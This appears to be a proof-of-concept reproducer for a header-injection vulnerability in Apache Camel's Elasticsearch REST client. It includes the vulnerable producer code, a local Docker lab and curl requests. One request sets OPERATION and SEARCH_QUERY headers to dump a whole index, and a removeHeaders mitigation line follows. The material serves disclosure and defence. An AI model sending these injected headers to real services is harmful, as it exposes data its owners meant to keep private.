// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // route author intends a single, safe operation: fetch one document by id

CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # seeds a "public" and a "secret" document
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
    └── resources/
        └── application.properties

docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup

curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true

# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

docker compose down

.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")